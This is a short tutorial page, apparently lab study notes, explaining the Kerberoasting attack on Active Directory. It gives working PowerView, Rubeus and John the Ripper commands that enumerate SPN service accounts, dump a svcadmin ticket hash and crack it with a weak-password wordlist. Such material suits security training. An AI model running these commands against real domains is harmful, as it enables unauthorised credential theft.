> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/attacks/kerberoast-attack.md).

# Kerberoast attack

Kerberoasting is a post-exploitation attack technique used against Microsoft Active Directory environments. It allows attackers to extract and crack service account credentials by abusing the Kerberos authentication protocol. The attack targets service accounts that use Kerberos for authentication and have Service Principal Names (SPNs) registered in Active Directory.

We first need to find out services running with user accounts as the services running with machine accounts have difficult passwords. We can use PowerView's (Get-DomainUser -SPN) or ActiveDirectory module for discovering such services:

```
Get-DomainUser -SPN
```

We can use Rubeus to get hashes for the svcadmin account. Note that we are using the /rc4opsec option that gets hashes only for the accounts that support RC4. This means that if 'This account supports Kerberos AES 128/256 bit encryption' is set for a service account, the below command will not request its hashes.

```
C:\AD\Tools\Rubeus.exe kerberoast /user:svcadmin /simple /rc4opsec /outfile:C:\AD\Tools\hashes.txt
```

* We can now use John the Ripper to brute-force the hashes. Please note that you need to remove ":1433" from the SPN in hashes.txt before running John ***$krb5tgs$23$svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorpmgmt.dollarcorp.moneycorp.local :1433 should be $krb5tgs$23$svcadmin$dollarcorp.moneycorp.local$MSSQLSvc/dcorpmgmt.dollarcorp.moneycorp.local in hashes.txt***

Run the below command after making above changes

```
c:\AD\Tools\john-1.9.0-jumbo-1-win64\run\john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\hashes.txt
```


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